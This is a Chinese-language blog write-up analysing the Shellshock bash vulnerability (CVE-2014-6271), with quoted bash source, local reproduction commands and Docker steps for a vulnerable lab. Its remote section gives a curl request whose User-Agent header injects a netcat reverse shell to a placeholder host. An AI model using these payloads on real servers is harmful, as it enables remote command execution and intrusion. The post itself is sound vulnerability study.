• shellshock—CVE-2014-6271


    shell基础

    自定义变量

    一般来说,自定义变量都是局部变量,一个shell中的局部变量不会被另一个shell读取到,包括子shell。而使用export,将变量设置成环境变量后,可以实现在子进程中该变量依然有效,同时,子进程无法修改父进程中的变量,即使使用export也不行。

    env命令

    用于显示系统中已存在的环境变量以及在定义的环境中执行指令。

    语法=>

    env(选项)(参数)

    选项=>

    -i/- :开始一个新的空的环境 -u<变量名> :从当前环境中删除指定的变量

    参数=>

    变量定义:定义在新的环境中变量,定义多个变量则用空格隔开。格式为"变量名=值"。

    指定:指定要执行的指令各参数

    echo命令

    用于输出指定内容,其中:

    单引号:将' '的内容都作为字符串而忽略所有的命令和特殊字符

    双引号:解析内部特殊字符,若需要忽略则利用''来转义

    反引号:包含一个命令字符串,其中的命令会先执行得到的结果会返回到层命令执行

    =>这是一个实验过程中遇到的小问题:

    正常实例

    小于4.3的bash版本中=>

    Bash允许在Bash的shell中使用环境变量来定义函数,如果环境变量的值以字符"( ){"开头,那么这个变量就会被当作是一个导入函数的定义(Export),并且这种定义只有在shell启动的时候生效。

    可以看到,在上面这次尝试中我们的VAR变量并没有引入环境变量中。

    使用export成功看到环境变量VAR被当作函数执行了。

    这里使用env命令在新的环境中先设置了变量,再执行了指定的指令,并且执行完成后当前的环境变量不受影响。bash -c是为了启动bash时就执行VAR函数,这里必须新起一个bash,因为只有bash启动时才会解析函数的定义。

    bash 4.4.20中=>

    在环境bash 4.4.20版本中, Bash 会把满足 "BASH_FUNC_函数名%%=() { 函数体" 格式的环境变量作为函数源码解析并导入。因此,两个同名的变量和函数也不会冲突,可以同时导入:

    env 'BASH_FUNC_var%%=() { echo "1";}' bash -c 'var'

    ==>1

    env 'var=2' 'BASH_FUNC_var%%=() { echo "1";}' bash -c 'var'

    ==>1

    env 'var=2' 'BASH_FUNC_var%%=() { echo "1";}' bash -c 'echo $var'

    ==>2

     

    漏洞原理

    看了几份大神们分析源码的报告(也没看明白啥就是了awtcl),大部分都认为漏洞主要利用的地方在于parse_and_execute()这一函数,下面这部分源码在variables.c中代码的315行处,借助注释我们可以看到代码用于初始化当前环境的环境变量:

    /* Initialize the shell variables from the current environment.
       If PRIVMODE is nonzero, don't import functions from ENV or
       parse $SHELLOPTS. */
    void
    initialize_shell_variables (env, privmode)
         char **env;
         int privmode;
    {
      char *name, *string, *temp_string;
      int c, char_index, string_index, string_length, ro;
      SHELL_VAR *temp_var;
    ​
      create_variable_tables ();
    ​
      for (string_index = 0; string = env[string_index++]; )
        {
          char_index = 0;
          name = string;
          while ((c = *string++) && c != '=')
        ;
          if (string[-1] == '=')
        char_index = string - name - 1;
    ​
          /* If there are weird things in the environment, like `=xxx' or a
         string without an `=', just skip them. */
          if (char_index == 0)
        continue;
    ​
          /* ASSERT(name[char_index] == '=') */
          name[char_index] = '';
          /* Now, name = env variable name, string = env variable value, and
         char_index == strlen (name) */
    ​
          temp_var = (SHELL_VAR *)NULL;
    ​
    ​
    /* If exported function, define it now.  Don't import functions from
         the environment in privileged mode. */
          if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
        {
          string_length = strlen (string);
          temp_string = (char *)xmalloc (3 + string_length + char_index);
    ​
          strcpy (temp_string, name);
          temp_string[char_index] = ' ';
          strcpy (temp_string + char_index + 1, string);
    ​
          if (posixly_correct == 0 || legal_identifier (name))
            parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

    parse_and_execute()函数在ash-4.3uiltinsevalstring.c文件189行处:

    if (parse_command () == 0)
        {
          if ((flags & SEVAL_PARSEONLY) || (interactive_shell == 0 && read_but_dont_execute))
            {
              last_result = EXECUTION_SUCCESS;
              dispose_command (global_command);
              global_command = (COMMAND *)NULL;
            }
          else if (command = global_command)
            {
              struct fd_bitmap *bitmap;
    ​
              bitmap = new_fd_bitmap (FD_BITMAP_SIZE);
              begin_unwind_frame ("pe_dispose");
              add_unwind_protect (dispose_fd_bitmap, bitmap);
              add_unwind_protect (dispose_command, command);    /* XXX */
    ​
              global_command = (COMMAND *)NULL;
    ​
              if ((subshell_environment & SUBSHELL_COMSUB) && comsub_ignore_return)
            command->flags |= CMD_IGNORE_RETURN;

    这里判断command是否是环境变量,并通过bitmap结构体返回execute_command()函数的运行结果,此处导致恶意代码被执行。

    漏洞环境

    含有版本号小于bash 4.3的linux或者unix系统

    漏洞复现

    本地

    =>

    QWQ='() { echo "T wants to pwn you";};echo "T pwned you"'

    QWQ被解析成局部变量,无法在传给子进程,从而不能执行恶意代码

    =>

    QWQ='() { echo "T wants to pwn you";};echo "T pwned you"' bash

    在当前环境中被开启新的shell,自动解析前面的局部变量成函数定义并执行恶意代码

    =>

    $export QAQ='() { echo "T wants to pwn you";};echo "T pwned you"'
    $bash

    QAQ是全局变量,开启新的bash并在子进程中可将其解析成函数定义并执行恶意代码

    =>

    env T='() { echo "T wants to pwn you";};echo "T pwned you"' bash

    env指令在新的环境中定义环境变量T,并执行下面的指令,即:bash,而开启了新的bash会解析当前环境中的环境变量T成函数定义,同时执行了恶意代码,并且执行完毕后原先的环境变量并没有被改动。

    综合以上四种情况明显看到以最后一种方式进行攻击逻辑最为清晰

    因此,通常漏洞的执行payload为:

    env VAR='() { :;}; echo Bash is vulnerable!' bash 

    其中':'仅表示true,什么都不做。

    远程

    如果shellshock仅是本地漏洞,那危害不会很大,真正的危害是远程用户利用这一漏洞攻击服务器系统。

    bash漏洞导致任意命令被执行的条件:1.程序在某一时刻使用bash作为脚本解释器处理环境变量的赋值 2.环境变量赋值字符串的提交取决于用户的输入。其中,最典型的是运行了CGI的服务器。

    通常的攻击实例是利用curl工具,构造出RefererCookieUser-Agent等字段,攻击存在Bash漏洞的服务器,可以用于或许服务器的用户及密码,例如:

    curl -H 'User-Agent:() { :; }; /bin/bash -c "nc xxx.xxx.xxx xxxx -e /bin/bash -i"'  http://XXX:8080/cgi-bin/XXX.cgi

    因为自己对远程服务器和web-CGI等方面了解甚少,通过上面这段翻译猜测,在发送一段http请求后,我们修改了服务器上的环境变量并且服务器自动生成新的bash而导致恶意代码的执行。

    附:

    利用docker构建shellshock漏洞环境

    使用官方脚本一条命令安装docker(我的环境为ubuntu 18.04,非常方便):

    curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

    随后拉取已经搭好漏洞环境的镜像即可~

    $docker search shellshock
    $docker run -d  hmlio/vaas-cve-2014-6271 // vulnerables/cve-2014-6271  
    $docker run -i -t  hmlio/vaas-cve-2014-6271 /bin/bash

    源码

    下载bash4.3版本=>https://ftp.gnu.org/gnu/bash/

    References:

    https://zhuanlan.zhihu.com/p/53081337

    https://wooyun.js.org/drops/Shellshock%E6%BC%8F%E6%B4%9E%E5%9B%9E%E9%A1%BE%E4%B8%8E%E5%88%86%E6%9E%90%E6%B5%8B%E8%AF%95.html

    http://blog.knownsec.com/2014/09/bash_3-0-4-3-command-exec-analysis/

    http://www.freebuf.com/articles/web/45520.html

    https://www.guildhab.top/?p=1805

  • 相关阅读:
    Java线程状态及Thread类中的主要方法
    Kali Linux 装好系统后安装经常使用软件
    Setup SSH and SVN on Windows Server
    sql plus 抢救数据(測)
    利用用户自己的server、tomcat下的解决iOS7.1企业应用无法安装应用程序 由于证书无效的问题
    mysql基本操作【重要】
    Mybatis逆向工程——(十四)
    lucene查询索引之QueryParser解析查询——(八)
    lucene查询索引之Query子类查询——(七)
    lucene修改索引——(六)
  • 原文地址:https://www.cnblogs.com/Theffth-blog/p/12232421.html
Copyright © 2020-2023  润新知